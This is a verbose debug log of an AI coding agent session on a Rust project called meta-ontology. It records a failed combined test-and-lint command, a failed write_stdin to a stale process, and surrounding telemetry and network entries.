auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:11.082Z] [INFO] \n[2026-07-12T04:07:11.092Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_30\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\\\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\\\"\",\"aggregated_output\":\"docs/case-studies/issue-5/source-inventory.md\\n93 docs/case-studies/issue-5/source-inventory.md\\ndocs/case-studies/issue-5/openmetadata-analysis.md\\n233 docs/case-studies/issue-5/openmetadata-analysis.md\\ndocs/case-studies/issue-5/README.md\\n122 docs/case-studies/issue-5/README.md\\ndocs/case-studies/issue-5/requirements-and-solutions.md\\n256 docs/case-studies/issue-5/requirements-and-solutions.md\\ndocs/case-studies/issue-5/raw-data/issue-5.json\\n17 docs/case-studies/issue-5/raw-data/issue-5.json\\ndocs/case-studies/issue-5/raw-data/research-observations.json\\n35 docs/case-studies/issue-5/raw-data/research-observations.json\\n\",\"exit_code\":127,\"status\":\"failed\"}}\n[2026-07-12T04:07:11.092Z] [INFO] \n[2026-07-12T04:07:11.167Z] [INFO] 2026-07-12T04:07:11.166639Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:11.167Z] [INFO] \n[2026-07-12T04:07:11.196Z] [INFO] 2026-07-12T04:07:11.195867Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:11.196Z] [INFO] \n[2026-07-12T04:07:11.260Z] [INFO] 2026-07-12T04:07:11.259327Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:11.260Z] [INFO] \n[2026-07-12T04:07:11.277Z] [INFO] 2026-07-12T04:07:11.273460Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:11.277Z] [INFO] \n[2026-07-12T04:07:11.380Z] [INFO] 2026-07-12T04:07:11.377469Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:11.380Z] [INFO] 2026-07-12T04:07:11.377598Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:11 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"2162f40c-861a-4421-97c2-4887330e4cdc\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=92fUfzRv4g%2Biun8NyycxD61RYdYukIvwbO5RT2ewd8pmWNs38b%2F4QRqfBR3y5NQuEfWnx4PPkCPp5FvbrjsROe0vISlQGBeN2eFBTuPcbt2ICDL9vjshlYiH3QsI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2df7a8f4d22b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:11.380Z] [INFO] \n[2026-07-12T04:07:11.949Z] [INFO] 2026-07-12T04:07:11.931890Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312efe9c08191874fd4b8f5067e80\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLvyCqJi2xKrqJne16LGt3N-PjZD9hEZFWd-ESwWbEusx5rLZO8lZTqh3JkS3opjUK0YuTj9pvhBvqfVqgYOi4qQ5aUJe7YHpLKFd2bnYsH-hC4klP76rpr-nRKpKkNv5ZjmJVJzM7RFmG1MDzITgMtT9OajZUqNjv5UMKk3-kwCTdoMQ4yIv7pyBk1nya7VeiHKB90zZibR3fSr1QNGGI1sQeqBvLufPhNC4JZMCP_OTUAadhew47KVyliLRHHKUxDx5L85ZObT41lgd5XcS4P0YaOF0YWtmRKJ82hvS1-TTYfavQqVF8fpnmoM7Jjz336gf_Jd9jgKDoYKK3hqmwObdLPWoOq2Yiv9lCACVmpbbAnQJEsxqUNcvsufHBrJWoLKd8i6TQKPwewDLGkfx33APfOC8cJyS13HF0IYNFbwlr-VGhJG-5IxEZKgxdnOxEdSveHm0v6JNtX3Akfs3WhewG4FZTMNsHR-Wz7iN4ytE8ywtuZLKwEVERZ6vPkOtwS3CeNpSeBExZzDHnPe6IEmlYzV5rrsfyCa85yc4oncHwFyw6v97WgOl4Td-xww17bNNknIQWnhnb9QJkYT43hInYhYXcep96HtLn-GWs7azsHQzPWgqEHCz79xLHhx0zpfp9EJcrX-4-pTH34Sc_rFB9ElRcQUBbUmK8mEg3xCJNL-fC2WVpV1wRTCFIxFYBKidJTHLRKoN_ddX_5-vo63FHH1U71SzRxC9Cf1JOKOdsKlciL8fkdTGIko6lBJFUqvq6WkE7iH-0JnyYPaIJD4wf2ZCzvh9OfZIMM8ZrVPIYFpTdJah_CnEvkrrxZbjemfE22QIEYOsDVPPQ9W0k4Yz4X5M8I9XSy8-fQos7Q9uNfz7CyA251mxu94T8RnTGn-geYGySGABCzNWjK5hJ5QQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:11.949Z] [INFO] \n[2026-07-12T04:07:12.747Z] [INFO] 2026-07-12T04:07:12.724500Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312efe9c08191874fd4b8f5067e80\"), summary: [SummaryText { text: \"**Planning stdin writing for session**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLwlOINqGW2BrhYhXvHC6Ymx2OOW_SW4W772qH_yCiaXD5EGLW9sKh5IaTmRDucSLVMT3_0QAsQUa9wGU8n0zX5QN-rxOvGrlx_QosyLsu27unUfWtGgSRym_zcRprKC0unEqkniI9WjG4Qp96UbqGjE0DLbjWJegkH1Vo84VDaFLWSRlibU2BcosJW1FrE8heIhG_sG8ByDrYK0CfkMCh31wxCSHt8OqzYzzijIg4ByYAzwBNFfeuUCHIk_PnmrXDYM5c8o9NnssTJvnvUGAINv5OVi0g7eu_kECTjqvc3SC1mC_oaS1pAXnDCKhmenW_MJgMxvLeSa8Ws3LAJ2Bc6SwBpaZh5wLdQ4TL50Rtj4ZLEoIHx6_JMo9uxkNvkMpVyE_cODdEjOUMlSoaLghtDKa7Z4iFYyXhOIuhnZZNV6104aR2Y_n6rN8PjT97wOvRLYkw5L4EHxnJ7bIDF571xpzqabzyOdnLyQU3WZTqPmnfcUqX9unJ2gKixRVSjdwd2VfcykROc4C955eFJ0l3SypBVK8UzAaYePhYa_-Vj7loDvLQNbVqyN9iD0RxGZFLYVojMB9KE-fe_Xn20_1GOxBNcHCARp_LQrr7cFjU_MgLUUQKRDGEfJiv37YupTFoaJlNjx8hATyCPHGDW8GjzzVkuTSjpHdjKi1Pi2JeJdhqK5PJAVQ0eS55MG6h5Lu2ssORPwht5gt7nUv3ST1rGg8gm4Eeu9LcbTicvZL52-lvzY5BlLp7vY70hkyD75DwDI18J2zm_OzQCDmGCPk2xeoUiKUJfgDmKQgFypDrjW_fGXKEubRknMUnJNm4X9mHwXri1agEo13uP-O1fp-woEb33PjPNQF1cqiILlpi9qeTde76KlI_fos0ipc7jYJSHrG0yduLmZFe_O8H1zIXutCZXO_5BS5qcMVqSUvWYGjHgj0iUTABjm-a0HZZ0Ot5tet4thUdbgNTTHoaEmhBT616UItqnQaXIryAqoEtvhvI=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:12.747Z] [INFO] \n[2026-07-12T04:07:12.749Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_34\",\"type\":\"reasoning\",\"text\":\"**Planning stdin writing for session**\"}}\n[2026-07-12T04:07:12.749Z] [INFO] \n[2026-07-12T04:07:12.765Z] [INFO] 2026-07-12T04:07:12.764323Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312f092bc8191adf50cfe3ca7734f\"), status: Some(\"in_progress\"), call_id: \"call_9D2bkEKBqtOaruu8Vvq3aBY9\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:12.765Z] [INFO] \n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.049200Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.049327Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.050402Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=1\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052143Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052206Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052605Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:07:13.054Z] [INFO] \n[2026-07-12T04:07:13.117Z] [INFO] 2026-07-12T04:07:13.112410Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:07:13.117Z] [INFO] \n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.116990Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.117069Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.117095Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59932\n[2026-07-12T04:07:13.132Z] [INFO] \n[2026-07-12T04:07:13.184Z] [INFO] 2026-07-12T04:07:13.176572Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(JSON.stringify(r));\n[2026-07-12T04:07:13.184Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:13.184Z] [INFO] \n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196307Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312ef2254819196777339e48eb3aa\"\n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196369Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61227 output_token_count=64 cached_token_count=60160 reasoning_token_count=16 tool_token_count=61291 ttft_ms=859 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:13.196Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196402Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61227 output_token_count=64 cached_token_count=60160 reasoning_token_count=16 tool_token_count=61291 ttft_ms=859 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:13.196Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.196Z] [INFO] \n[2026-07-12T04:07:13.273Z] [INFO] 2026-07-12T04:07:13.271628Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-4476d4aa-8abd-497d-9445-86fda410fadd arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=0 success=false output=write_stdin failed: Unknown process id 26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:13.271Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.273Z] [INFO] 2026-07-12T04:07:13.271684Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-4476d4aa-8abd-497d-9445-86fda410fadd duration_ms=0 success=false arguments_length=77 output_length=44 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:13.271Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.273Z] [INFO] \n[2026-07-12T04:07:13.281Z] [INFO] 2026-07-12T04:07:13.273897Z ERROR codex_core::tools::router: error=write_stdin failed: Unknown process id 26498\n[2026-07-12T04:07:13.281Z] [INFO] \n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279769Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(JSON.stringify(r));\n[2026-07-12T04:07:13.286Z] [INFO]  duration_ms=90 success=false output=Script failed\n[2026-07-12T04:07:13.286Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:07:13.286Z] [INFO] Output:\n[2026-07-12T04:07:13.286Z] [INFO] \n[2026-07-12T04:07:13.286Z] [INFO] Script error:\n[2026-07-12T04:07:13.286Z] [INFO] write_stdin failed: Unknown process id 26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:13.279Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279830Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 duration_ms=90 success=false arguments_length=129 output_length=103 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:13.279Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279923Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=91 total_duration_ms=91\n[2026-07-12T04:07:13.286Z] [INFO] \n[2026-07-12T04:07:13.328Z] [INFO] 2026-07-12T04:07:13.328178Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:13.328Z] [INFO] \n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341742Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:13.341Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341815Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:13.341Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341831Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:13.342Z] [INFO] \n[2026-07-12T04:07:15.149Z] [INFO] 2026-07-12T04:07:15.146117Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312f31c0c8191b81f07f6aaf0e8c3\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLzUbpCm2nOtdEeqs3u4VbgZUfnQ5zVfPZXTvyjItuzLD5ZFT0q01ADcCVCYswAcJKJsv-fgbKzvPBIMXASdRofHEGJ_BiZSprxTw9bXxTmlw7XtlEktFlO7uiMA2d6izGxohBFOudvCerUFZMDkPl5-8CrDzVjbKpjQOtzB9JOodADJVXo7iB5yD3YeuC0Ng36ux9HREdjDScF-N-SJknZPCESDsrGLU1JuWAaLjkCrU2naZdNJqhFBcfJ1Bui_qvA7xacYi1ANXV-bruP2k6ffPtcQnDVM0epDXLNGaxpx4aSQup2yBoS_YEbIiHeni__e_ywzrcB3rJ0myG0-zhJOeSoHf1FIJP0jw7yxh6lEYYV-aJhGR37E13jqz-kiFUqhRRebAl6Q2f56RA7sMPl4xVQm_WFFl54OzNm1VdODH50h3uGAgZLzWUExa9yJcieNLfQqZo6i18_Jvq1upJHZV0PHPgw5HuT3GqUbcaF5F50VQ9AYMPKkzOsIGxLsjbuIjZ9RWUs8vt74i8__la8o3zclGj1L-0mYX5H_xqUseInvfdAELhUHp_D6qQLafvN9_o1k1XLHF5o-sB-cA30Ro_i0YOu3oX6XiGxbjxzw6KaVzPQv0f0b2BqUaizICAb3w-lbl94seFxsr7hjpU40Ut3Yl1mbWzd67sGmZxdwZK5xIcOzkOULHBVmNTAOk5h-1Ob0-nhV2CZuZ0Od3vRM6D7pM3PSwZDSnugLS73ab2AGGJUQkzV7R31NyfPUPOhIiES8PWcGj8murQLCqED6-9MOEvy2yeaXQXH_esZGq8V4YCWQ_EXLe7Pxu52fbLUUDW3vWEVaX_UgvtFIvxOYUeTpMASluz0dTesczYmWf8Pt221dOknCkV0052t971Tgwq8vZBPgfRmmH7oL-0RGw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:15.149Z] [INFO] \n[2026-07-12T04:07:17.201Z] [INFO] 2026-07-12T04:07:17.198383Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312f31c0c8191b81f07f6aaf0e8c3\"), summary: [SummaryText { text: \"**Inspecting logs and link references**\" }], content: Some([]), encrypted_content: 